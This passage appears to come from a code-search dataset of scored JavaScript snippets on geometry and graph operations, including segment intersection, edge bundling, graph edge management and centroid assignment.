point.\ndenom=a1*b2-a2*b1;if(denom===0){return}offset=Math.abs(denom/2);\n// The denom/2 is to get rounding instead of truncating. It\n// is added or subtracted to the numerator, depending upon the\n// sign of the numerator.\nnum=b1*c2-b2*c1;x=num<0?(num-offset)/denom:(num+offset)/denom;num=a2*c1-a1*c2;y=num<0?(num-offset)/denom:(num+offset)/denom;return{x:x,y:y}}", "title": "" }, { "docid": "c3153a77b9dd12d3c7679a9f7a8330b7", "score": "0.5286001", "text": "subdivision() {\n this.edges.forEach(edge => {\n if(this.bundled[edge.id]) {\n edge.controlpoints = this.subdivide(edge.cp, this.bundleStrength);\n edge.controlpoints = this.approximateBezier(edge.controlpoints, this.numApproximationPoints)\n }\n });\n }", "title": "" }, { "docid": "055ce35fb50c451ae028b31c0b3751cb", "score": "0.52806985", "text": "function onSegment(p, q, r) {\n return q.x <= Math.max(p.x, r.x) && q.x >= Math.min(p.x, r.x) && q.y <= Math.max(p.y, r.y) && q.y >= Math.min(p.y, r.y);\n }", "title": "" }, { "docid": "b0ca42445ca6fcfd47c2d2aed063c24f", "score": "0.52528995", "text": "function get_segment_intersection(me, chart, x, y) {\n\tvar e1 = 1 // slack for x\n\tvar e2 = 300 // slack for collineariy measure\n\tfor (var i = 0; i < me.state.y_data.length; i++) {\n\t\tvar nodes = chart.getDatasetMeta(i)['data']\n\t\tnodes = nodes.filter(x => x['_model']['skip'] == false)\n\t\tfor (var j = 0; j < nodes.length - 1; j++) {\n\t\t\tvar start_x = nodes[j]['_model']['x']\n\t\t\tvar start_y = nodes[j]['_model']['y']\n\t\t\tvar end_x = nodes[j + 1]['_model']['x']\n\t\t\tvar end_y = nodes[j + 1]['_model']['y']\n\t\t\tif (x < (start_x - e1) || x > (end_x + e1)) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tvar collinearity = collinear(x, y, start_x, start_y, end_x, end_y)\n\t\t\tif (collinearity < e2) {\n\t\t\t\treturn {'data_idx': nodes[j]['_datasetIndex'], 'i1':nodes[j]['_index'], 'i2':nodes[j+1]['_index']}\n\t\t\t}\n\t\t}\n\t}\n\treturn null\n}", "title": "" }, { "docid": "fa6eac9765eb8dc4ef786acf0023e085", "score": "0.52526885", "text": "function calcPoints(e) {\n var edge = g.edge(e.v, e.w),\n tail = g.node(e.v),\n head = g.node(e.w);\n var points = edge.points.slice(1, edge.points.length - 1);\n var afterslice = edge.points.slice(1, edge.points.length - 1)\n points.unshift(intersectRect(tail, points[0]));\n points.push(intersectRect(head, points[points.length - 1]));\n return d3.svg.line()\n .x(function(d) {\n return d.x;\n })\n .y(function(d) {\n return d.y;\n })\n .interpolate(\"basis\")\n (points);\n}", "title": "" }, { "docid": "6e9fb73e8aa4c191579c02c0f2e6db76", "score": "0.5242581", "text": "subdivision() {\n this.edges.forEach(edge => {\n if(this.bundled[edge.id]) {\n edge.controlpoints = this.subdivide(edge.cp, this.bundleStrength);\n edge.controlpoints = this.approximateBezier(edge.controlpoints, this.numApproximationPoints)\n }\n });\n }", "title": "" }, { "docid": "8cf454a587089b4591406d5bab7073aa", "score": "0.52425355", "text": "function getHVEdgeIntersections(pt1, pt2) {\n var out = [];\n var ptInt1 = onlyConstrainedPoint(pt1);\n var ptInt2 = onlyConstrainedPoint(pt2);\n if (ptInt1 && ptInt2 && sameEdge(ptInt1, ptInt2)) return out;\n\n if (ptInt1) out.push(ptInt1);\n if (ptInt2) out.push(ptInt2);\n return out;\n }", "title": "" }, { "docid": "3d1dd9a2f796a5e6a459cadd592212f1", "score": "0.5239554", "text": "checkEdges(){\n\n}", "title": "" }, { "docid": "fece3d99a48cf437c9bdf6e1400f8956", "score": "0.5239366", "text": "addEdge(e, v1, v2) {}", "title": "" }, { "docid": "64621dabc8e2bdb6998aa096865ca875", "score": "0.523874", "text": "addEdge(edge) {\n // is this edge connected to us at all?\n var nodes = edge.getNodes();\n if (nodes.a !== this && nodes.b !== this) {\n throw new Error(\"Cannot add edge that does not connect to this node\");\n }\n var edge_id = edge.getID();\n // Is it an undirected or directed edge?\n if (edge.isDirected()) {\n // is it outgoing or incoming?\n if (nodes.a === this && !this._out_edges[edge_id]) {\n this._out_edges[edge_id] = edge;\n this._out_degree += 1;\n // Is the edge also connecting to ourselves -> loop ?\n if (nodes.b === this && !this._in_edges[edge_id]) {\n this._in_edges[edge.getID()] = edge;\n this._in_degree += 1;\n }\n }\n else if (!this._in_edges[edge_id]) { // nodes.b === this\n this._in_edges[edge.getID()] = edge;\n this._in_degree += 1;\n }\n }\n else {\n // Is the edge also connecting to ourselves -> loop\n if (this._und_edges[edge.getID()]) {\n throw new Error(\"Cannot add same undirected edge multiple times.\");\n }\n this._und_edges[edge.getID()] = edge;\n this._und_degree += 1;\n }\n }", "title": "" }, { "docid": "cf71990f4e8819090aa2ba0e2e345c7d", "score": "0.52346873", "text": "function linesIntersection() {}", "title": "" }, { "docid": "272519a423bbcefc79e39d2a99b3ffcd", "score": "0.52328527", "text": "isPointOnSegment (a, b, p) {\n const tolerance = 0.1\n const ab = a.distanceTo(b)\n const pa = p.distanceTo(a)\n const pb = p.distanceTo(b)\n const difference = ab - (pa + pb)\n\n return difference < tolerance && difference > -tolerance\n }", "title": "" }, { "docid": "4ab197fd01394ac598b117a12042b180", "score": "0.5231913", "text": "function segmentIntersection(top_left_x, top_left_y, top_right_x, top_right_y, bottom_left_x, bottom_left_y, bottom_right_x, bottom_right_y) {\n var top_delta_x, top_delta_y, bottom_delta_x, bottom_delta_y,\n s, t;\n\n top_delta_x = top_right_x - top_left_x;\n top_delta_y = top_right_y - top_left_y;\n bottom_delta_x = bottom_right_x - bottom_left_x;\n bottom_delta_y = bottom_right_y - bottom_left_y;\n\n s = (\n (-top_delta_y * (top_left_x - bottom_left_x)) + (top_delta_x * (top_left_y - bottom_left_y))\n ) / (\n -bottom_delta_x * top_delta_y + top_delta_x * bottom_delta_y\n );\n\n t = (\n (bottom_delta_x * (top_left_y - bottom_left_y)) - (bottom_delta_y * (top_left_x - bottom_left_x))\n ) / (\n -bottom_delta_x * top_delta_y + top_delta_x * bottom_delta_y\n );\n\n // Collision detected\n if (s >= 0 && s <= 1 && t >= 0 && t <= 1) {\n return [\n top_left_x + (t * top_delta_x), // X\n top_left_y + (t * top_delta_y) // Y\n ];\n }\n\n // No collision\n return null;\n }", "title": "" }, { "docid": "4ab197fd01394ac598b117a12042b180", "score": "0.5231913", "text": "function segmentIntersection(top_left_x, top_left_y, top_right_x, top_right_y, bottom_left_x, bottom_left_y, bottom_right_x, bottom_right_y) {\n var top_delta_x, top_delta_y, bottom_delta_x, bottom_delta_y,\n s, t;\n\n top_delta_x = top_right_x - top_left_x;\n top_delta_y = top_right_y - top_left_y;\n bottom_delta_x = bottom_right_x - bottom_left_x;\n bottom_delta_y = bottom_right_y - bottom_left_y;\n\n s = (\n (-top_delta_y * (top_left_x - bottom_left_x)) + (top_delta_x * (top_left_y - bottom_left_y))\n ) / (\n -bottom_delta_x * top_delta_y + top_delta_x * bottom_delta_y\n );\n\n t = (\n (bottom_delta_x * (top_left_y - bottom_left_y)) - (bottom_delta_y * (top_left_x - bottom_left_x))\n ) / (\n -bottom_delta_x * top_delta_y + top_delta_x * bottom_delta_y\n );\n\n // Collision detected\n if (s >= 0 && s <= 1 && t >= 0 && t <= 1) {\n return [\n top_left_x + (t * top_delta_x), // X\n top_left_y + (t * top_delta_y) // Y\n ];\n }\n\n // No collision\n return null;\n }", "title": "" }, { "docid": "0ec28365b975190dd704bf9adb0ef908", "score": "0.52185744", "text": "assign(centrs) {\n\n let APoints = [],\n BPoints = [];\n\nlet points = this.points;\n points.forEach((val, i) => {\n\n let zerox = points[i].x - centrs[0].x; // distance to 1st centroid\n let zeroy = points[i].y - centrs[0].y;\n let onex = points[i].x - centrs[1].x; // distance to 2nd centroid\n let oney = points[i].y - centrs[1].y;\n\n\n // get posititive of each point from each centroid\n let sqzerox = Math.sqrt(zerox * zerox);\n let sqzeroy = Math.sqrt(zeroy * zeroy);\n let sqonex = Math.sqrt(onex * onex);\n let sqoney = Math.sqrt(oney * oney);\n\n // if the point is within the range (all points have less distance than 110 px to all points) push it to according array\n let ranges = this.getRanges();\n (sqzerox || sqzeroy) < ranges.xrange / 3 ? APoints.push(points[i]) : 0;\n (sqonex || sqoney) < ranges.xrange / 3 ? BPoints.push(points[i]) : 0;\n });\n\n return {\n AP: APoints,\n BP: BPoints\n };\n }", "title": "" } ]